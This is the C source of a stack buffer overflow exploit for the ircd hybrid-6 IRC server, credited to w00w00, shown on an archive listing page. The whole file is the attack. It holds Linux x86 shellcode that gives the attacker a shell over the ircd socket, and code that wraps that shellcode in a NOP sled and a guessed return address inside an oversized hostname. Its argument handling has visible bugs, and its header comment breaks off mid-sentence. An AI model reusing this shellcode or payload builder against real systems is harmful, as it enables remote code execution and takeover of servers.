home *** CD-ROM | disk | FTP | other *** search
- /*
- * ircd hybrid-6 exploit (invitee side)
- * Matt Conover (Shok) & w00w00 Security Team
- *
- * This is used to generate the shellcoded hostname, which is used to
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
-
- #define ERROR -1
-
- #define OFFSET 0
- #define HOSTLEN 59 /* this is the just the right len to overwrite eip */
-
- unsigned long getesp();
-
- /*
- * Linux x86 shellcode, for a one-sided (input only) shell
- * Shellcode close's and dup's stdin to your ircd sockfd, allowing
- * you to give input. If we had more room for shellcode, we could make it
- * a full duplex shell (two-sided). Unless you redirect output, it will
- * be sent to the terminal that ran ircd.
- */
- char shellcode[] =
- "\xeb\x28\x5e\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x8b\x7e\x0d\x8a\x5f\x38"
- "\xb0\x29\xcd\x80\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e"
- "\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xd3\xff\xff\xff/bin/sh";
-
- /* --------------------------------------- */
-
- unsigned long getesp()
- {
- __asm__("movl %esp,%eax"); /* return value stored in %eax with C */
- }
-
- int main(int argc, char **argv)
- {
- FILE *filefd;
- char *argstr, *buf, *bufptr;
-
- long addr;
- int i, bufsize = HOSTLEN, offset = OFFSET;
-
- if (argc > 3)
- {
- fprintf(stderr, "Usage: %s [bufsize] [offset]\n", argv[0]);
- exit(ERROR);
- }
-
- if (argc == 2) bufsize = atoi(argv[2]);
- if (argc == 3) offset = atoi(argv[3]);
-
- if (bufsize < HOSTLEN)
- {
- printf("bufsize too small.. setting to minimum bufsize (%d)\n",
- HOSTLEN);
-
- bufsize = HOSTLEN;
- }
-
- buf = malloc(bufsize+1);
- if (buf == NULL)
- {
- fprintf(stderr, "Error malloc'ing memory: %s\n", strerror(errno));
- exit(ERROR);
- }
-
- addr = getesp() - offset;
-
- printf("stack ptr (0x%lx) - offset (%d) = 0x%lx\n",
- addr - offset, offset, addr);
-
- bufptr = buf;
-
- i = bufsize - (strlen(shellcode) + 5), memset(buf, 0x90, i);
- bufptr = buf + i, memcpy(bufptr, shellcode, strlen(shellcode));
-
- bufptr = buf + strlen(shellcode) + i, *bufptr++ = '.';
- memcpy(bufptr, &addr, sizeof(addr));
-
- buf[bufsize] = '\0';
-
- printf("strlen(buf) = %d, strlen(shellcode) = %d\n\n",
- strlen(buf), strlen(shellcode));
-
- printf("%s\n", buf);
- }
-